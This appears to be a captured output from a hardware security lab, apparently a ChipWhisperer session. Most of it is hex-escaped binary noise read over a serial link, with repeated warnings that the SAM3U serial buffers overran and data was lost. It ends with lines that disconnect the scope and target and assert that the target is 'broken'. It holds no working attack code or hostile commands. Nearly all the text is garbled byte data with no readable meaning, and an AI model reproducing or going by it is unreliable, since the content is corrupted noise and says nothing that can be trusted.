0x8DXji0xDA0xBC0xABo0xCC5U0xC5\`]0x130xAA0xEA0xBF0xDF0x9CU0x150x850x8E0xCA0xD70xA3)0xCB.0xEAW0xD20x15eU0x8F0xB0\0x830xAD0xB60xA20xB4h0xEA0xCF0xD50xBFG0xC30x1CPyE0xAE0xCB?0xB9(0xB00x0B0x93L0xD9UQ5D0x110x1F0xBB&0x9B0xC20xA6.20xD20xB1d0x130xD70xA60xEA0xAB0xBC50xDDFp 0xD90xDE60xE20x980xEA00xA60x1Aj0xBE~U0x170xD5I0xDF0x950xE4j0xF70x820xB4H0xDA0xAF0xC4\UMSS0x950xA50x9F*0xB50xA60x130xB30xBE*0xCB0xD7z>EAO0xFE-<0x1Agb~0x17VL]0x170xFD^0x1Eg0xBF~70xF30xB60xF6 0xAF0x91pQ0xF70x940xD50x9D0xD50xBE0xAC0x920xD80x0B0xA80x080xD40x970x9D0x95Y0xAA0xB20xEB0xA8S20xFF0x1D0x160x10T0x140x9A0x820x8A*0xAE 0xEA0x920x7F0xF1=uM0xF40x11|0xEC0xA2*.0x820xAA0x9C0xEA0x040xF20x950xE5EVWU0x040xBE0x8ABN0xAA0x1B0xEBN0x1F\_0xD90xF5/WT#0xAA0xC90x18\U0x000xA10xA2\0x090xE30x930x9A0x89-0x00]0xE1g0x116Ix0x180xBCi0x7FZ0xEB0xEC0x8AQYq]O'A0x180xFA6C0xA8~&0xE20xBCWs0xC50xB9P0x054q2~0x880xA90xAC0x9Abz0x160x03Rq0xAA0x0F0xA20x08'0xC70xA5T0x7F0xB50xF70x00b0xA20xEA0xAA0xBF20x130xA00x15V0x120xC50x7FQ0xE5A ))*;C0xE8;0x13A0xE90xDD|65^0x9A0xB90xE90xBB0xB620xA80xE95L0xD5w0xD10xDF40xE40xE90x8A0xF60xF30xBA0x8A(0xE40xD50xFF0x19$U0xD2Ry0xDC0xF80x1B0xA20x110xC10xDDZ0xFE0xAA0xAD0xCA-~0x98#0x95E0x1DR0x19d0x960x03K0xED0xE80x1B0x0Ej0x80y[0xDFqUGO@Y0xEF/0xA7^0xD30x1A0xEA40xD3>0xF750xC70x02X|0xEC"0xBB*0x080xA80xC20xAB\`y0xDBa0x8C*0xEA0xBC0x94{|0xBC{)Fu0xA2h0xEA0xAF0x8Aj0xA80xEC0xC5WEEDs0x17U0xC0:0x8B~0xE60xAB0x9AB|0xB1YB0xD30x18Wy0xEB0x99;L0xC30x1C!0xBA0xD10x01V0x84DT}E80xE60x140xA00x15EWM0xB30x8B0xB70x0D$0xA60xBD+0x050x077TP0xFB90x82k0xA80xA620x880x910x170x120x190xB30xEA0xAA0xEB0xD50xE40xAE0x170x840x050xD0D0xCC0x84(0x08,,0xA2"0xF4u2E0xD4U0xF1U0xD80xA20xE3,0xAE0x900xE70x8BuYC0x97x}0xCE0xD7(i0xAA0xB50xEA80xCE0xAA0xC40xFD0x1Ff0x910x11C0x150xA80xA8+60xDCE0xC00xD50xBB(0xE80xA90xFF0xA8C&0xFF0xC8[v0x130x04O0x1D0xA7,0xFB0x9B0xAF0xA00xF80x8E0x8De1]0xD4aq0x070x89b0xBA0xA60x9Axj0xC0Q}w0x060xC4eM0xC00x8A0xED0x8Bb0xAC$0x8A0x8A0x140x810x170x130xE8r*0xBFTS0xD60xD7UUG0x1D0xB40xF30xE20x950x0D3h0xB90x0FYI0xFBT0x16P0x7F0xA8*0x880xBA0x940x1C0xCA0xFA]0xD00xC30x1CP0x94v/Z0xB60xE20x8DD0xD620xFE\0xD60x960x1F0xD60x9D0x8B0x8A0x820x97/0x1B0x8E0x150xD7MuE0xB570x0C0xCA0xB70x0D0x080xB20xFE0xBDV0xB1w0x7FV0x95YUT0xB1O0xFD0xFC+ 0x8Ej0x15D0xC4yQs0xD50xE00x130x8860xA00x800xEA0xB80xAE0x150xC40xB00xD40x1A0xDA.0xBE0x13Y%UM0xD50xD0A0x0B0xEB0xA20x8E0xAE0xCE0xB9*0x9D0x950x10S]u0x050xF50xB90xB9"0xAB0xEA0x8A0xAA0xEEDd0x01q0xC5A0x050x950x02L+0xA30xE30xE70x810xA9w0xE50x130xF50x170xC5U0xD5:0x810x020xB20xA5@3P0xE2B0xBA0xB20xA9j0xBB0xA5CD\_UD0x94Y!0xE2 *0xAEi:0xD1+0xD1k90xCDES0xC5 0xED0xDA0x86:0xEF0xF40x0B0xF50xCD0xF40x1Du0xC70x140x150x840xEA0x120x0D0x8E0x19i#0x00Qq=E0xC30xA40xA20xBCS\.]0x040x920x05&0xAA0xA60xFFd0xE50x16l0x0D0x15Q 0xAF0xA60xE6.(0xBBjk%0xD8^AUN^Dh0x8A.0x020x910x170x1CU0xD50xFE0x180x9A0xAD<k0xFF0xD5U0xD80xD7M\u0xF90x020xC9.0xDA>j0xA60xA2QEd0x170x010xCCDK0xA0H0xC70xCA0x8Bz0x920xAE1|0x95|0xE7UU0x0420xB980xA20xBE0xABj0xAB0xFC0xA5q0x8F0x8B0xBE0xA80xDCg0xB60xA5\KP0xB3o0xEA&0xA30xC80xAB0xC40xD20x82EQ0xD70xE00xC90xEE0xE20xEAx0xEE0xC20xA80xFB0xA80xA20xCA]z0x930xF57s0x984+>0xA20xA2.0xAA0xA80x169U0xE50x15E50xF30xFD*-0xA60xE2]a0x150xD5*0xE20xAFV0xFA0xA8j0xEA0xD3a0xD90x1D0x7F\`}\_*"kJ0x8E0xEE0x8F0xEB0x88t0x9D0x030x1C0xEC0x85m0xBC0x8A0xE10x080x990x1D1K,:0x1A*t]2g0x15w0y0xBA0xEF:j0x800x1A 0xE80xD10x106q}UF0x1D0xF1(0x060xC90xAA0xA80xE20x800x900x05R0xD50x84o0x8410xA0k0x860xB10xAEk0xAA0xA20xBF0xDDRSTW0x11U0xBA/0x820xC7n0xC50x99q0x9A0xE20x8E0xB8R0xB10xA30x83E0xD10x050xF10x14qw0x930xBEc0xEB0xB9:0xE80xBA*0x95cwiWM0x1E0xDC0x7F0x8C 0xEE0xBA0xBE 0xEAW0x05\v0xDB0x150x11U0xFAl0x990xE20xB0j0x8C0xAB0xB4X0x9C0xC10x130xFA0xAE0xFA\_]0x050xC5X0x16Y0x1E0x980xBE0xDA0xCE0xAE0xDA0xD30xB80x7F0xF4u0xD3l0xFB0x100x1Di0xBA 0x170x0E;0x9A0xBAK40xD30x1C0x84S0xD4Q.0xA80xCA0xD00xA40x190xF80xEAO0x18{0xD20x8E0xFD0xE30x110xAA0xB80xEA0x820x0DG0x920xB80x0F0x950xE6Yq0xF7U10xAE;0xAD0xA2H 0xE80x89GY0xF0aL0xD30x880x150xEE0xC20xEC0xB3/0xA00xBAz0xDF0x9CEw0x950xA20x8A0xFE0x1D0xD60x190xD7wr}0xF5."y0xE4y0xBA0xBC;R0xD7\_10x1D0xF70x1E0xB00x8A0xB70x8A9?0xCA0x8C0xBE0x140xFB5V70x190x1D0xF5:0xB88.0xAB0xB8.m0xCBq0x1FM0xD10xDDYU0xC20xD80x9B0x9EUaL0x910x7F0xC1.0x1B:0x090x0C*6!'40xE9U0x1C])R><0xAF0xB70xAE0x9A0x150xD60x0B0xD8mG0xBE90xEE0x8F6,0xA4+0x86&0xF40x130xD5t0x050x000x85we:0xAC0xAF0x8F80xEC0x9B0xDDx0xE70xD30x820x8E0xAA0xD7E0xC66U7E0xB70xD5u0xE2*0xE50xBE0xBA0xBE0xA950xD4|TlLU0xC50xE8X0xF40xED0xAA
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
0xA20xBA:0xBFM0xDFX0xC70x954\A0xEC6l0x87T\_QG0xB70x9B0xC10xA60xA80x880xA00xBAV0x140xC1v0x95\0xD4r0xA40x88^:\`0xCA0x180xAE6P0x150x12s\_0xD10xC60xF20xB60xC10x900xF70xCAZ0xBC0x950xF70x170xD4Ui[0x15:0xE90xFA80xA70xAD0x8A0xCA0x16aYQ0xA20xAEf0xA80xD00xA7E0x050xD80xC7]0x170xBC0xAE0x860x0B0x1C0xA3)0x8D|0xD50x13Du}{0xD90xFA0x9F;0xEC0xA50xEF0x8A0xCB0xA5Ow0x070x070xD80xF5A0xA6.0xEB0xFA*0xAA0xCC0x06=0xF80xC2Ua0xC10xF90x11)0x8D0xBA0x180x010xD1]0xD30xA80xBB0xBC0xA10xBA0xE60x9B0xADQ0xF50x090x850xD50xE4O]0xDD0xA20xAE0xBD0xBE0xD8.00xD50x1Dv0xE50x1D0xD5E0x100x0F0xAA0xE70x1A0x1B0x1B0x8C 0x1F0x190xE4ZH\_0xC20xC50xAB:0xF20x950x8B0xE20xD0>0xE8f0xC80x8D/g0x05MSE6b0xBB0x02'0xE90x1A0x06:*W0xDE0xBC0x12Z0x15uB0x1B0xAC0xEC0xCAn0x000x7F0x8AD0x0C0xC70xD9E0x1F0xB5T$0x0F0x870xBB\_0x02)0x110xBA(*0xA20xA30x880xAA0xAA0xA1X0x0F0x04C0xDD0x010xEAK0xC9#0xA30x86z0xE80xBFD0x1910xA50xDF00xDC90xBE0xA10xBB0xA9*0x880xFA0xA90x050xD5r0x81#0xF80xF80xFD0xAB0xFA0x880xFE0xAA0x930xA20xF0+0x950xACU0xAA(+*0x0C4mg0xD4G0xB50x140xAE0xAE0xAD>0xE70xAB0xAA0x960xE10x8100xF6DL0xD40xC5(0x880x9A0xAA+0x0E0xBE0xA60x090xE50x1D0x16P\0xBE0xCD0xE90xEC0xBB0xDE0xB20xAC0xAE0xE6Uo]'U0xE7T50x80+;2ug\\`+0xAB0xAEn0x8B)"lSQ0x07n0xCB0x120x9750xBC0xC50xD6}Q0xF5U0xE90xB80x8AcGE0xC50x1C0x8Ds0xCE>0x89OK0xDC0x91S\_0x14}WE0xDE&30xAE0xA20xA50x020x8B0x880x01V0xDF0x980x810x15E0xC70x8C20xC20xE3+0x06&n%P0xB6W'0x020xC6I'0xA20x8A0xEB0xB4 0x8E0x8C%P0x9FT0xAC0xE8j0x8A0xCC0xECv0x08XV0x7F0x11N0xD2b0xB80x1A0xA20xF2 wQT0x170x823qVf0x830x16t0x833a0xEF0xD20xD5M0xF10x1CM0xFC0xE70xCE=0xAA0xE30x8E0xFA*&a0x9D0x160x06u0x84=|0xE00x8C0xBE0xBEu0x8370x15}0xA60xF20x1B0xF80xB10xD00xAAU0xA70xF1]0xD40xB50xD50x1F<0xB50x9E0xEA0xFC0x87!0xE00x1C0xC50xD30xDD0x960x170x110xF50xFE0xBA0xB70xF9\0xBF0xAA \0xCC0xE2E\E0xBDq0xA80xA90xF00xAF0xE60x88\80xA61ZV0xEA0xAAH0x8260xA8:xfA0xE9\G\_0xF5}0xC0 0xB9L"0x9E0x970x9AV0x1D0xD70x11EM0xD10x15Z0x0F0xF30x01m0xB0E^0xB80x880xA90x8E0xB20xB90xB20xFAx0x190x940xDE0xD5A0xE1]0xE60xAB0xCB0xFB0x8BJ20x96fSU0x940x1BC0x150xD50x9B0x0B0x8D0xA90xCC0xA60xC8j0xC10x130x100xF10xD7=tw0xFB0xF1~;0xAA0x920xAB0xAFY0x950x9D0x7F0xAA0xAF0xFA0xE8\0xD50xDCd0xD6}\_Q0x920xE00x8A0xE80xA60xEA&h0xD40xE40x0DtU0xC50xB6Mh0xC40xAF0xCEd0xE40x82:\`0xD5s0x000xCC0x18qSk0xCB&0xB20xACX0xA2^$}0x13W0x111UD0xA110xAC0x82t0x13XQ0xAE:0x82j0xF80xEB"0xEEZUuxY[0x1Cu0xBCa0xBA0x160xE80xD30xAA0xAEy0xAA0xFB0xCF0xFD,0xAAM0xD5]0xFB0xCA0xFDD0xDD0xC0j0xE970xFC0x88"0x920xC4%"S0xDD0x090x11Q0xC2)0x010xE0*0x1Ai0x930xD2Za0x910xAA0x080xBB0x09f0x13sLgq0x7F00xE2;0x99x0x0F~0xBE0xAA0x1D5P0xF00xEC0xAD0xD50xC80xA90xAB0x900xE80xAA0xAA0x8CJM0xD6]Les0x0D}0xAC0x92$0xEC0xFAj? t0x04}0x1BuU0x15/80x9A0xB90xA3W0x1D0x1C0xD5L0x8F*0xE80xDF0x000xA7#W0xC74sGT%0xA7V0xB80xAE0x860xAB0xFA0xE40xECU0x7FU0x860xB90xD3|0xDE0xB7,0x8E0xF2*c0xAE0x890x93AF0x070xDFY0xD5Q0x8F0x980xAA*0x830x800xAC0x880x1D0xD58Uk0xEC0xEA0xA2s}G0xB5wa=E*0xE8J0xBF0xE30xA80xA20x050xEC0xBC0xE150x7F0xC4|0x1D0xAA]D0x00\0xBC^0x80J0xBA0x8C0x920x930x940x150xB6Y0x9Bq0x150x830x9F0x8EW0x870x92(0x990x93V0x0870xD7VW0xD1S0x8A0xBB0xA60xE30x8E0xA90x830xB10x11UMQ0x06EB0x150x8B0xB00xD30xBEt"0xE20xB0Q10xE1Q0xAA0xEA*0xEAP0xE70x11R0xB7GUS\kx0x020xAE0x8C,0xF20xC50xBC0x050x11AO0x91U0xA10x860x9B0xCE0xA60x8E3{Y0xC67]xmEe0xB80x8A&#:n"0xA00x1270x110xDD5UUt0x8A+0x010xCA0xD7Q0x14p0xA70xAE0xA90xA20x8C0xA610x06%G0x9C20xE17QC0xEB0xA20x890xA6/0xB00x9B(M0x11Q0xB0M0xB40xBD0x15,0x960x8Ba0xBA>+(0x14T0xDFa0xC90xF7#0xFA0xBB0xBF0xE80xFA!0xA80x9A0xEA0x9D)0xD5Z0xAA0xEA0xAA0xAE0xFE0xDB{MU0xD00x090xA60xF10xB80xB80xB80xB10xEC0xE80xF41M0x940x8A0xAB.0xABE0xC8v0xA9^0x05T0x170x9A0xCAf0xAC0x8E10xAA0x0E0x1EqxF0xDB0xD4v0xD40xFA0xE6Z0xA60x120xA4,0xA40x15a0xC70xA5SoUO0x870xEF0xBA0xAE0xFB0xAA0xD30x8C~0x0Bv0xE7E\_U0xF5"0xFE20xE70x150x0B0xA5S=0x0B+0x980xC60xAEjITE&0xCDN-ME0xEB0xAE0x190x0E0x880xAC0xAF0xA20x000xAE0xB70x04I0xB50x8FR0xAB0xA70xAF20xB30xD00xCA0x870x9FE0xBD5WU0xD2u70xAD0x9E0xBF0x030xCA0xBE0xAC0x13I0xDC0xDD0xA60xEA0xC20xA9UGW{0xB10x9EQ0x130xF30x0E0xE2k0xB20xEA0xA00xA20x10T4!0xFD0xAE0xF50xF1(0xB60xA10xAA0xA90xAD10xAA0x130xBDe0xC40x98U]Q:%0xE60xEB0x9A0xE90xAA0xE2\0x01S&*0xEB0xC80x95~0x050x8F"0x170xC10xAE0xB90xB00x830xBEI*.0xFF0x190xFC0x19GyF70x0Bjf0xBA0x92k0x0E0xAC0x12Go0x940x9B.B0x8CXMVL0x9Dt0x100xC6(*0x94F0xD8:0x1E0xEBXV]0xD7yQx60x89b0x0B0xB80xB10xC60xAA$0xF90xC70xFC^UU0x14T0xFA0xCE0xA6H0xCA(0x8AwV0x810x9A0x14ME0x8B0xC50x8B0x830xAA0xA8Q0xD50xC1]0xC90xDC0xAE0x1B0xAA00x10;0xD8y0x16]0xE2F0xD1o0xB90xA60xA10xEE0xE30xBA0xA30xB90xF80xA210x180xF7<40xFD0xF60xA80xFA0xEF 0xCFx0xDBT0x19]0xD50x890x8Dt0x9B0xAF0x9B0xE60xAA X0xE40xAC/Y0xE50x9C$(0xC70xADU9\0x1D0xF50x1D0x07Q0xDD0xBA0x180xA00xB00xAC0xAF0x800xF5nK[0x990x800xE50x100x90*0xAE0x1B0xA90xF70xF60xA610xC20xEC\_0x02E]{0x070xEF0x8A;0x024+(0xAA0x1Cwm0x8A=0x850xF5y;0xA70xEC80xAB0x820xFF0x090x1F0xD70xEF0x9C0xDCFT}0xBE0xAE0xAE0x88P0x19oQ0x8A)j0xE3k0x0E0x880x8EQ0x150x8B?GWp0xCFP(@0x8E0xEE0xE50xA3kuE%\0xEFEU0xE10x8B#0x96h0x860x0D";10x05U0x190x07LZS0xAE<i0xAC $0x07*0x86VW0x04>0xA80xDA h0xD7R0x95{0xD5X%860xEA0xA80xE7!0xFE 0xC70x010xFDUq0xD00xDD0x140xEF0xC00xA90x9A0xA70x8E0xFA0xA40xA50x05Ad0xD90x050x150x920xA80x06Q0xE60xEC0x82 0x98=0x01C0xD1=%EP)+0xE70xF00x160x100x11Av0x18+0xEB 0xB30xBBjQPmgU0x13\_0x100xBE0x92s0xAAj0xB25(0xC80xE7U60x8C0x900xAF0xBAaQ0xB70x12e0x040xC7^N0x020xA3Bm0x880xEA0xAC(\s0xB5U0x050x1B0xF4DL0xA30x84*0xC20x12.0xAC@70x070xA40xC10x07dW0xA20x820xF6!!0xA2$0x98E0xC6E0x180xC5QU\0x8FZ0xCE0x98[0xB90xD9a0x0B0xFB0x8ArF0xCBz0xA7E[H0x16E0x8Fw}0xA30xAF0xE70xA270xEA0xAA0x88W0xDBu0xC37mv];0xA60xD60x08k"0xD70xB6g'0x150x12U0x140xB70x9C0xAC0xE20xAA0xAF0x920xFE0x8E60xC4QT0x170xBA0xAE0xEE0xB00xE70x150xD40xB00xBD0x1C0xD1%0xB80x160xCD0xB00xEA0x080xBA*cH0xD0eU0x050xA50xEF0x800x810xA20xAB0xF30x8C0xB50xACv0xC90x150xB4y0xB4<UH0xA30x980x90d0xA20xAD0x82W0xA20xF50xF4Puip0xB90xAEp0xF90xA30xE70xD3Rs0x850xB20xE20xA90xBD0x870xEE0x120xBA0xD3Ea90xD7O0xE00xB40xA30xAE0xA10xAF0xB10xED0xAE0xEC?F0xE40xE50xB1u0x15tq0xFA*&0x8A#0x820xA8QS0x0DP.0x9A0xAC0xA00x000xB40x000x000xE80x000x00 D0x9D0x00 0x880x130x000x000x000xB40x000x000xF70x130x000x080x880x130x000x00C0x9D0x00 0x010x000x000x00U0x9D0x00 0x090x000x000x000x080x000x000x0040x000x00 0xAB0x080x000x080x000x000x000x00@0x000x000x00L0x9B0x010x000xE80x000x00 0x840x9D0x00 0x880x130x000x00L0x9B0x010x00q0xF10x000x000xE80x000x00 0x980x9D0x00 0x880x130x000x00q0xF10x000x000xF70x130x000x080x880x130x000x000x970x9D0x00 0xB30xF10x000x000xE80x000x00 0xB80x9D0x00 0x880x130x000x000xB30xF10x000x000xF70x130x000x080x88
scope.dis()
target.dis()
assert broken == True